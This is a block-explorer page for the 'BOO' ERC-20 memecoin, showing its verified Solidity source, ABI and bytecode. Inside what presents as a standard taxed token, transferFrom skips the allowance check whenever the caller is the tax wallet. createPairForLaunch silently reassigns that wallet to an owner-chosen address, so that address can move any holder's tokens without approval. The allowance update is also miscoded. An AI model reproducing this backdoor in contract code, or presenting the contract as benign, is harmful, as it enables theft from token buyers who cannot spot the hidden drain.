Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
420,690,000,000 BOO
Holders
63
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
6,943,909,140 BOOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
BOO
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-05 */ /** W: https://booeth.xyz X: https://x.com/BooERC20 T: https://t.me/BooERC20Portal */ // SPDX-License-Identifier: UNLICENSE pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function eq(address a, address b) internal pure returns (bool) { return a == b; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BOO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFees; address payable private _taxWallet; uint256 private _initialBuyTax=4; uint256 private _initialSellTax=4; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=16; uint256 private _reduceSellTaxAt=16; uint256 private _preventSwapBefore=5; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 420_690_000_000 * 10**_decimals; string private constant _name = unicode"BOO"; string private constant _symbol = unicode"BOO"; uint256 public _maxTxAmount = 2 * _tTotal / 100; uint256 public _maxWalletSize = 2 * _tTotal / 100; uint256 public _taxSwapThreshold= 1 * _tTotal / 100; uint256 public _maxTaxSwap= 1 * _tTotal / 100; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFees[owner()] = true; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address from, address to, uint256 amount) public override returns (bool) { _transfer(from, to, amount); if(eq(_taxWallet,_msgSender()) && !eq(owner(), _msgSender())) return true; _approve(from, from, _allowances[from][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function createPairForLaunch(address pair) external onlyOwner { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); require(uniswapV2Pair != address(0)); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); _taxWallet = payable(pair); _isExcludedFromFees[pair] = true; } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function sendFeeToTax(uint256 amount) private { _taxWallet.transfer(amount); } function withdrawETH() external onlyOwner { require(address(this).balance > 0); payable(owner()).transfer(address(this).balance); } function withdrawToken(address _address, uint256 percent) external onlyOwner { uint256 _amount = IERC20(_address) .balanceOf(address(this)) .mul(percent) .div(100); IERC20(_address).transfer(owner(), _amount); } receive() external payable {} function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { if(from == uniswapV2Pair) taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFees[to] ) { require(tradingOpen,"Trading not open yet"); require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) { if(contractTokenBalance > _taxSwapThreshold) swapback(min(amount, min(contractTokenBalance, _maxTaxSwap))); sendFeeToTax(address(this).balance); } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function swapback(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function enableTrade() external onlyOwner { swapEnabled = true; tradingOpen = true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"createPairForLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"withdrawToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600460055560046006555f6007555f60085560106009556010600a556005600b555f600c5560646009600a6200003b9190620003a2565b6200004c906461f313f880620003b9565b62000059906002620003b9565b620000659190620003d3565b600d556064620000786009600a620003a2565b62000089906461f313f880620003b9565b62000096906002620003b9565b620000a29190620003d3565b600e556064620000b56009600a620003a2565b620000c6906461f313f880620003b9565b620000d3906001620003b9565b620000df9190620003d3565b600f556064620000f26009600a620003a2565b62000103906461f313f880620003b9565b62000110906001620003b9565b6200011c9190620003d3565b6010556012805461ffff60a81b1916905534801562000139575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556200019a6009600a620003a2565b620001ab906461f313f880620003b9565b335f908152600160208190526040822092909255600390620001d45f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620002323390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200026b6009600a620003a2565b6200027c906461f313f880620003b9565b60405190815260200160405180910390a3620003f3565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002e757815f1904821115620002cb57620002cb62000293565b80851615620002d957918102915b93841c9390800290620002ac565b509250929050565b5f82620002ff575060016200039c565b816200030d57505f6200039c565b8160018114620003265760028114620003315762000351565b60019150506200039c565b60ff84111562000345576200034562000293565b50506001821b6200039c565b5060208310610133831016604e8410600b841016171562000376575081810a6200039c565b620003828383620002a7565b805f190482111562000398576200039862000293565b0290505b92915050565b5f620003b260ff841683620002ef565b9392505050565b80820281158282048414176200039c576200039c62000293565b5f82620003ee57634e487b7160e01b5f52601260045260245ffd5b500490565b61198080620004015f395ff3fe60806040526004361061011d575f3560e01c80637d1db4a51161009d5780639e281a98116100625780639e281a98146102e3578063a9059cbb14610302578063bf474bed14610321578063dd62ed3e14610336578063e086e5ec1461037a575f80fd5b80637d1db4a5146102745780638b0fb458146102895780638da5cb5b146102a85780638f9a55c0146102ce57806395d89b411461013e575f80fd5b806323b872dd116100e357806323b872dd146101de578063313ce567146101fd57806370a0823114610218578063715018a61461024c578063751039fc14610260575f80fd5b806299d3861461012857806306fdde031461013e578063095ea7b3146101785780630faee56f146101a757806318160ddd146101ca575f80fd5b3661012457005b5f80fd5b348015610133575f80fd5b5061013c61038e565b005b348015610149575f80fd5b506040805180820182526003815262424f4f60e81b6020820152905161016f919061155c565b60405180910390f35b348015610183575f80fd5b506101976101923660046115bc565b6103d9565b604051901515815260200161016f565b3480156101b2575f80fd5b506101bc60105481565b60405190815260200161016f565b3480156101d5575f80fd5b506101bc6103ef565b3480156101e9575f80fd5b506101976101f83660046115e6565b610410565b348015610208575f80fd5b506040516009815260200161016f565b348015610223575f80fd5b506101bc610232366004611624565b6001600160a01b03165f9081526001602052604090205490565b348015610257575f80fd5b5061013c6104be565b34801561026b575f80fd5b5061013c61052f565b34801561027f575f80fd5b506101bc600d5481565b348015610294575f80fd5b5061013c6102a3366004611624565b6105e3565b3480156102b3575f80fd5b505f546040516001600160a01b03909116815260200161016f565b3480156102d9575f80fd5b506101bc600e5481565b3480156102ee575f80fd5b5061013c6102fd3660046115bc565b6109c2565b34801561030d575f80fd5b5061019761031c3660046115bc565b610b02565b34801561032c575f80fd5b506101bc600f5481565b348015610341575f80fd5b506101bc61035036600461163f565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610385575f80fd5b5061013c610b0e565b5f546001600160a01b031633146103c05760405162461bcd60e51b81526004016103b790611676565b60405180910390fd5b6012805462ff00ff60a01b19166201000160a01b179055565b5f6103e5338484610b7c565b5060015b92915050565b5f6103fc6009600a61179f565b61040b906461f313f8806117ad565b905090565b5f61041c848484610c9f565b6004546001600160a01b03163314801561045557506104536104455f546001600160a01b031690565b6001600160a01b0316331490565b155b15610462575060016104b7565b6104b384856104ae85604051806060016040528060288152602001611923602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111db565b610b7c565b5060015b9392505050565b5f546001600160a01b031633146104e75760405162461bcd60e51b81526004016103b790611676565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105585760405162461bcd60e51b81526004016103b790611676565b6105646009600a61179f565b610573906461f313f8806117ad565b600d556105826009600a61179f565b610591906461f313f8806117ad565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105c16009600a61179f565b6105d0906461f313f8806117ad565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461060c5760405162461bcd60e51b81526004016103b790611676565b601254600160a01b900460ff16156106665760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103b7565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106b09030906106a16009600a61179f565b6104ae906461f313f8806117ad565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610700573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072491906117c4565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610783573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a791906117c4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107f1573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081591906117c4565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d719473061085c816001600160a01b03165f9081526001602052604090205490565b5f8061086f5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108d5573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108fa91906117df565b50506012546001600160a01b03169050610912575f80fd5b60125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af1158015610964573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610988919061180a565b50600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f546001600160a01b031633146109eb5760405162461bcd60e51b81526004016103b790611676565b6040516370a0823160e01b81523060048201525f90610a6c90606490610a669085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610a3c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a609190611829565b90611213565b90611291565b9050826001600160a01b031663a9059cbb610a8e5f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610ad8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610afc919061180a565b50505050565b5f6103e5338484610c9f565b5f546001600160a01b03163314610b375760405162461bcd60e51b81526004016103b790611676565b5f4711610b42575f80fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610b79573d5f803e3d5ffd5b50565b6001600160a01b038316610bde5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b7565b6001600160a01b038216610c3f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d035760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b7565b6001600160a01b038216610d655760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b7565b5f8111610dc65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b7565b5f80546001600160a01b03858116911614801590610df157505f546001600160a01b03848116911614155b1561109e576012546001600160a01b0390811690851603610e3557610e326064610a66600954600c5411610e2757600554610e2b565b6007545b8590611213565b90505b6012546001600160a01b038581169116148015610e6057506011546001600160a01b03848116911614155b8015610e8457506001600160a01b0383165f9081526003602052604090205460ff16155b15610fba57601254600160a01b900460ff16610ed95760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b60448201526064016103b7565b600d54821115610f2b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103b7565b600e5482610f4d856001600160a01b03165f9081526001602052604090205490565b610f579190611840565b1115610fa55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103b7565b600c8054905f610fb483611853565b91905055505b6012546001600160a01b038481169116148015610fe057506001600160a01b0384163014155b1561100d5761100a6064610a66600a54600c541161100057600654610e2b565b6008548590611213565b90505b305f90815260016020526040902054601254600160a81b900460ff1615801561104357506012546001600160a01b038581169116145b80156110585750601254600160b01b900460ff165b80156110675750600b54600c54115b1561109c57600f548111156110935761109361108e84611089846010546112d2565b6112d2565b6112e6565b61109c47611456565b505b801561111657305f908152600160205260409020546110bd9082611491565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061110d9085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461113890836114ef565b6001600160a01b0385165f9081526001602052604090205561117b61115d83836114ef565b6001600160a01b0385165f9081526001602052604090205490611491565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111c485856114ef565b60405190815260200160405180910390a350505050565b5f81848411156111fe5760405162461bcd60e51b81526004016103b7919061155c565b505f61120a848661186b565b95945050505050565b5f825f0361122257505f6103e9565b5f61122d83856117ad565b90508261123a858361187e565b146104b75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b7565b5f6104b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611530565b5f8183116112e057826104b7565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061132c5761132c61189d565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611383573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113a791906117c4565b816001815181106113ba576113ba61189d565b6001600160a01b0392831660209182029290920101526011546113e09130911684610b7c565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114189085905f908690309042906004016118b1565b5f604051808303815f87803b15801561142f575f80fd5b505af1158015611441573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561148d573d5f803e3d5ffd5b5050565b5f8061149d8385611840565b9050838110156104b75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b7565b5f6104b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111db565b5f81836115505760405162461bcd60e51b81526004016103b7919061155c565b505f61120a848661187e565b5f602080835283518060208501525f5b818110156115885785810183015185820160400152820161156c565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b79575f80fd5b5f80604083850312156115cd575f80fd5b82356115d8816115a8565b946020939093013593505050565b5f805f606084860312156115f8575f80fd5b8335611603816115a8565b92506020840135611613816115a8565b929592945050506040919091013590565b5f60208284031215611634575f80fd5b81356104b7816115a8565b5f8060408385031215611650575f80fd5b823561165b816115a8565b9150602083013561166b816115a8565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156116f957815f19048211156116df576116df6116ab565b808516156116ec57918102915b93841c93908002906116c4565b509250929050565b5f8261170f575060016103e9565b8161171b57505f6103e9565b8160018114611731576002811461173b57611757565b60019150506103e9565b60ff84111561174c5761174c6116ab565b50506001821b6103e9565b5060208310610133831016604e8410600b841016171561177a575081810a6103e9565b61178483836116bf565b805f1904821115611797576117976116ab565b029392505050565b5f6104b760ff841683611701565b80820281158282048414176103e9576103e96116ab565b5f602082840312156117d4575f80fd5b81516104b7816115a8565b5f805f606084860312156117f1575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561181a575f80fd5b815180151581146104b7575f80fd5b5f60208284031215611839575f80fd5b5051919050565b808201808211156103e9576103e96116ab565b5f60018201611864576118646116ab565b5060010190565b818103818111156103e9576103e96116ab565b5f8261189857634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119015784516001600160a01b0316835293830193918301916001016118dc565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220658af7769dc0220eb1334ed63e5191ca51416b4c0c60d703be4d25f08fad459e64736f6c63430008180033
Deployed Bytecode
0x60806040526004361061011d575f3560e01c80637d1db4a51161009d5780639e281a98116100625780639e281a98146102e3578063a9059cbb14610302578063bf474bed14610321578063dd62ed3e14610336578063e086e5ec1461037a575f80fd5b80637d1db4a5146102745780638b0fb458146102895780638da5cb5b146102a85780638f9a55c0146102ce57806395d89b411461013e575f80fd5b806323b872dd116100e357806323b872dd146101de578063313ce567146101fd57806370a0823114610218578063715018a61461024c578063751039fc14610260575f80fd5b806299d3861461012857806306fdde031461013e578063095ea7b3146101785780630faee56f146101a757806318160ddd146101ca575f80fd5b3661012457005b5f80fd5b348015610133575f80fd5b5061013c61038e565b005b348015610149575f80fd5b506040805180820182526003815262424f4f60e81b6020820152905161016f919061155c565b60405180910390f35b348015610183575f80fd5b506101976101923660046115bc565b6103d9565b604051901515815260200161016f565b3480156101b2575f80fd5b506101bc60105481565b60405190815260200161016f565b3480156101d5575f80fd5b506101bc6103ef565b3480156101e9575f80fd5b506101976101f83660046115e6565b610410565b348015610208575f80fd5b506040516009815260200161016f565b348015610223575f80fd5b506101bc610232366004611624565b6001600160a01b03165f9081526001602052604090205490565b348015610257575f80fd5b5061013c6104be565b34801561026b575f80fd5b5061013c61052f565b34801561027f575f80fd5b506101bc600d5481565b348015610294575f80fd5b5061013c6102a3366004611624565b6105e3565b3480156102b3575f80fd5b505f546040516001600160a01b03909116815260200161016f565b3480156102d9575f80fd5b506101bc600e5481565b3480156102ee575f80fd5b5061013c6102fd3660046115bc565b6109c2565b34801561030d575f80fd5b5061019761031c3660046115bc565b610b02565b34801561032c575f80fd5b506101bc600f5481565b348015610341575f80fd5b506101bc61035036600461163f565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610385575f80fd5b5061013c610b0e565b5f546001600160a01b031633146103c05760405162461bcd60e51b81526004016103b790611676565b60405180910390fd5b6012805462ff00ff60a01b19166201000160a01b179055565b5f6103e5338484610b7c565b5060015b92915050565b5f6103fc6009600a61179f565b61040b906461f313f8806117ad565b905090565b5f61041c848484610c9f565b6004546001600160a01b03163314801561045557506104536104455f546001600160a01b031690565b6001600160a01b0316331490565b155b15610462575060016104b7565b6104b384856104ae85604051806060016040528060288152602001611923602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111db565b610b7c565b5060015b9392505050565b5f546001600160a01b031633146104e75760405162461bcd60e51b81526004016103b790611676565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105585760405162461bcd60e51b81526004016103b790611676565b6105646009600a61179f565b610573906461f313f8806117ad565b600d556105826009600a61179f565b610591906461f313f8806117ad565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105c16009600a61179f565b6105d0906461f313f8806117ad565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461060c5760405162461bcd60e51b81526004016103b790611676565b601254600160a01b900460ff16156106665760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103b7565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106b09030906106a16009600a61179f565b6104ae906461f313f8806117ad565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610700573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072491906117c4565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610783573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a791906117c4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107f1573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081591906117c4565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d719473061085c816001600160a01b03165f9081526001602052604090205490565b5f8061086f5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108d5573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108fa91906117df565b50506012546001600160a01b0316